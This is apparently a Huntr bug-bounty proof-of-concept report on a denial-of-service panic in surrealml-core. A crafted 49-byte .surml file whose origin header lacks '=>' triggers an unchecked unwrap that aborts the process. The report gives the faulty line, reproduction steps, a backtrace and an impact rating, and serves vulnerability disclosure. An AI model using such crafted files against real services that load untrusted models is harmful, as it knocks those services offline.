huntr-poc-bug03-surrealml-origin-panic

Huntr PoC: SurrealML Origin::from_string double-unwrap panic

Target

• Program: surrealml (surrealml-core)
• Repo: https://github.com/surrealdb/surrealml
• Commit: 152ac2d508f1bae9ee62c46b7d211d80e40a6425
• Affected file: modules/core/src/storage/header/origin.rs
• Affected function: Origin::from_string()
• Affected line: 115 — let origin = split.next().unwrap().to_string();

Summary

Origin::from_string() splits the origin header field on => and calls .unwrap() on the second iterator element without checking it exists. A .surml file whose header field 8 contains any string without => (e.g. "local") exhausts the iterator after the first element. The second .unwrap() at line 115 panics on None, aborting the process. A 49-byte crafted file reliably triggers this.

Files

Reproduction

Step 1 — Generate PoC

python3 generate_poc_bug03.py
# produces poc_bug03.surml (49 bytes)

Step 2 — Trigger panic

use surrealml_core::storage::surml_file::SurMlFile;
let _ = SurMlFile::from_file("poc_bug03.surml");

Or via any binary/test that calls SurMlFile::from_file() / load_model() C FFI.

RUST_BACKTRACE=1 cargo run -- poc_bug03.surml

Actual Output

thread 'main' panicked at modules/core/src/storage/header/origin.rs:115:35:
called `Option::unwrap()` on a `None` value
stack backtrace:
   0: rust_begin_unwind
   1: core::panicking::panic_fmt
   2: core::panicking::panic
   3: core::option::unwrap_failed
   4: core::option::Option<T>::unwrap
   5: surrealml_core::storage::header::origin::Origin::from_string
             at modules/core/src/storage/header/origin.rs:115:35
   6: surrealml_core::storage::header::Header::from_bytes
             at modules/core/src/storage/header/mod.rs:189:22
   7: surrealml_core::storage::surml_file::SurMlFile::from_file
             at modules/core/src/storage/surml_file.rs:124:22
EXIT: 101

Impact

Severity: Medium (DoS)

• Deterministic process panic (abort with exit code 101) via 49-byte crafted .surml.
• Affects SurMlFile::from_file(), SurMlFile::from_bytes(), and the load_model() C FFI.
• No memory corruption. No data disclosure. Pure denial-of-service.
• Any service that loads untrusted .surml files is crashed by this payload.

Environment

• OS: macOS 26.5.1 (arm64 / Apple Silicon)
• Rust: 1.96.0 (rustc ac68faa20)
• surrealml commit: 152ac2d508f1bae9ee62c46b7d211d80e40a6425
• PoC file: poc_bug03.surml
  • Size: 49 bytes
  • SHA256: 81abb15357b4865fdabaca52102392faad3fdff337f33e4ea698eb560d890ad1